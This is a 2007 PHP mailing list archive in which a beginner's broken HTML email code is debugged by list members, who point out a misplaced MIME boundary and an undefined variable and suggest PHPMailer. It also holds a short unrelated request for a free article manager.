> $headers .= "Content-Type: text/html; charset=iso-8859-1".$eol;
> $headers .= "Content-Transfer-Encoding: 8bit".$eol.$eol;
> $body = "http://www.zoneofsuccessclub.com\";>link \n";

You have a MIME boundary where it doesn't belong.  MIME boundaries are
for the body, not the header. 


/Per Jessen, Zürich

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Cannot send a hyperlink

2007-11-15 Thread Stut

Brad wrote:
Beginning with 
$headers .= "--".$htmlalt_mime_boundary.$eol;

It starts to read it as text and not html??

Could this be a server side problem?

$email = $_REQUEST['email'] ;
$fromaddress .= '[EMAIL PROTECTED]';
$fromname .= 'Zone of success Club';
$eol="\r\n";
$headers  = "From: ".$fromname."<".$fromaddress.">".$eol;
$headers .= "Reply-To: ".$fromname."<".$fromaddress.">".$eol;
$headers .= "Return-Path: ".$fromname."<".$fromaddress.">".$eol;
$headers .= "Message-ID: <".time()."-".$fromaddress.">".$eol;
$headers .= "X-Mailer: PHP ".phpversion().$eol;
$headers .= "--".$htmlalt_mime_boundary.$eol;
$headers .= "Content-Type: text/html; charset=iso-8859-1".$eol;
$headers .= "Content-Transfer-Encoding: 8bit".$eol.$eol;
$body = "http://www.zoneofsuccessclub.com\";>link \n";
mail($email, $subject, $body, $headers);


You should not have a mime boundary in your headers. Why not use 
PHPMailer? All this (apparently) complicated stuff is already 
implemented for you. Either that or spend a few days learning about the 
structure of emails by following the links Daniel Brown sent you a few 
emails ago.


PHPMailer can be found here: http://phpmailer.sf.net/

-Stut

--
http://stut.net/


-Original Message-
From: Daniel Brown [mailto:[EMAIL PROTECTED] 
Sent: Wednesday, November 14, 2007 11:09 AM

To: Brad
Cc: [EMAIL PROTECTED]; php-general@lists.php.net
Subject: Re: [PHP] Cannot send a hyperlink

Brad,

That code is a mess and highly incorrect, even at a novice level.
Let me give you a hand

On Nov 14, 2007 10:31 AM, Brad <[EMAIL PROTECTED]> wrote:

I implemented the proposed code, and emails are not being sent?

Any suggestions?

Here is the code

".$eol;
  $headers .= "Reply-To: ".$fromname."<".$fromaddress.">".$eol;
  $headers .= "Return-Path: ".$fromname."<".$fromaddress.">".$eol;
  $headers .= "Message-ID: <".time()."-".$fromaddress.">".$eol;
  $headers .= "X-Mailer: PHP ".phpversion().$eol;
  $msg .= "--".$htmlalt_mime_boundary.$eol;
  $msg .= "Content-Type: text/html; charset=iso-8859-1".$eol;
  $msg .= "Content-Transfer-Encoding: 8bit".$eol.$eol;
  $body.='link ';
  $msg .= $body.$eol.$eol;
  mail($to, $subject, $msg, $headers);

?>


[snip]

1.) You reference $to in the mail() function, but there is no $to
defined.  Instead, either change $email to $to or vice-versa.
2.) You don't need to start the first line of a variable off with
a .= --- this will append to an existing variable of the same name, if
it exists.
3.) You change your quoting style where it's not necessary.  All
$msg lines should be using double quotes in your code above.
4.) ".$eol;
$headers .= "Reply-To: ".$fromname."<".$fromaddress.">".$eol;
$headers .= "Return-Path: ".$fromname."<".$fromaddress.">".$eol;
$headers .= "Message-ID: <".time()."-".$fromaddress.">".$eol;
$headers .= "X-Mailer: PHP ".phpversion().$eol;
$headers .= "--".$htmlalt_mime_boundary.$eol;
$headers .= "Content-Type: text/html; charset=iso-8859-1".$eol;
$headers .= "Content-Transfer-Encoding: 8bit".$eol.$eol;
$body = "http://www.zoneofsuccessclub.com\";>link \n";
mail($email, $subject, $body, $headers);
?>

Prior to asking a bunch of questions on the list, which seriously
puts you at risk for being flamed or ignored, check out these
references:
http://www.bath.ac.uk/bucs/email/anatomy.shtml  [Anatomy of an
Email Message]
http://www.php.net/mail  [PHP Mail Functions]
http://www.htmlgoodies.com/primers/html/  [Beginner's Guide to HTML]



--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



RE: [PHP] Cannot send a hyperlink

2007-11-15 Thread Brad
Beginning with 
$headers .= "--".$htmlalt_mime_boundary.$eol;
It starts to read it as text and not html??

Could this be a server side problem?

$email = $_REQUEST['email'] ;
$fromaddress .= '[EMAIL PROTECTED]';
$fromname .= 'Zone of success Club';
$eol="\r\n";
$headers  = "From: ".$fromname."<".$fromaddress.">".$eol;
$headers .= "Reply-To: ".$fromname."<".$fromaddress.">".$eol;
$headers .= "Return-Path: ".$fromname."<".$fromaddress.">".$eol;
$headers .= "Message-ID: <".time()."-".$fromaddress.">".$eol;
$headers .= "X-Mailer: PHP ".phpversion().$eol;
$headers .= "--".$htmlalt_mime_boundary.$eol;
$headers .= "Content-Type: text/html; charset=iso-8859-1".$eol;
$headers .= "Content-Transfer-Encoding: 8bit".$eol.$eol;
$body = "http://www.zoneofsuccessclub.com\";>link \n";
mail($email, $subject, $body, $headers);

-Original Message-
From: Daniel Brown [mailto:[EMAIL PROTECTED] 
Sent: Wednesday, November 14, 2007 11:09 AM
To: Brad
Cc: [EMAIL PROTECTED]; php-general@lists.php.net
Subject: Re: [PHP] Cannot send a hyperlink

Brad,

That code is a mess and highly incorrect, even at a novice level.
Let me give you a hand

On Nov 14, 2007 10:31 AM, Brad <[EMAIL PROTECTED]> wrote:
> I implemented the proposed code, and emails are not being sent?
>
> Any suggestions?
>
> Here is the code
>
> 
>   $email = $_REQUEST['email'] ;
>   $eol="\r\n";
>   $headers .= "From: ".$fromname."<".$fromaddress.">".$eol;
>   $headers .= "Reply-To: ".$fromname."<".$fromaddress.">".$eol;
>   $headers .= "Return-Path: ".$fromname."<".$fromaddress.">".$eol;
>   $headers .= "Message-ID: <".time()."-".$fromaddress.">".$eol;
>   $headers .= "X-Mailer: PHP ".phpversion().$eol;
>   $msg .= "--".$htmlalt_mime_boundary.$eol;
>   $msg .= "Content-Type: text/html; charset=iso-8859-1".$eol;
>   $msg .= "Content-Transfer-Encoding: 8bit".$eol.$eol;
>   $body.='link ';
>   $msg .= $body.$eol.$eol;
>   mail($to, $subject, $msg, $headers);
>
> ?>

[snip]

1.) You reference $to in the mail() function, but there is no $to
defined.  Instead, either change $email to $to or vice-versa.
2.) You don't need to start the first line of a variable off with
a .= --- this will append to an existing variable of the same name, if
it exists.
3.) You change your quoting style where it's not necessary.  All
$msg lines should be using double quotes in your code above.
4.) ".$eol;
$headers .= "Reply-To: ".$fromname."<".$fromaddress.">".$eol;
$headers .= "Return-Path: ".$fromname."<".$fromaddress.">".$eol;
$headers .= "Message-ID: <".time()."-".$fromaddress.">".$eol;
$headers .= "X-Mailer: PHP ".phpversion().$eol;
$headers .= "--".$htmlalt_mime_boundary.$eol;
$headers .= "Content-Type: text/html; charset=iso-8859-1".$eol;
$headers .= "Content-Transfer-Encoding: 8bit".$eol.$eol;
$body = "http://www.zoneofsuccessclub.com\";>link \n";
mail($email, $subject, $body, $headers);
?>

Prior to asking a bunch of questions on the list, which seriously
puts you at risk for being flamed or ignored, check out these
references:
http://www.bath.ac.uk/bucs/email/anatomy.shtml  [Anatomy of an
Email Message]
http://www.php.net/mail  [PHP Mail Functions]
http://www.htmlgoodies.com/primers/html/  [Beginner's Guide to HTML]

-- 
Daniel P. Brown
[office] (570-) 587-7080 Ext. 272
[mobile] (570-) 766-8107

If at first you don't succeed, stick to what you know best so that you
can make enough money to pay someone else to do it for you.

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

No virus found in this incoming message.
Checked by AVG Free Edition. 
Version: 7.5.503 / Virus Database: 269.15.31/1128 - Release Date: 11/13/2007
11:09 AM
 

No virus found in this outgoing message.
Checked by AVG Free Edition. 
Version: 7.5.503 / Virus Database: 269.15.32/1131 - Release Date: 11/14/2007
4:54 PM
 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] recommendation for a article manager

2007-11-15 Thread Joker7
Hi,
I'm looking for a recommendation for a small easy to use "free" article 
manager.It must be able to fit in with existing site and be able to include 
a picture.It does not need an all singing editor a simple form system will 
do I can control the look by css.


Cheers
Chris

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



  1   2   >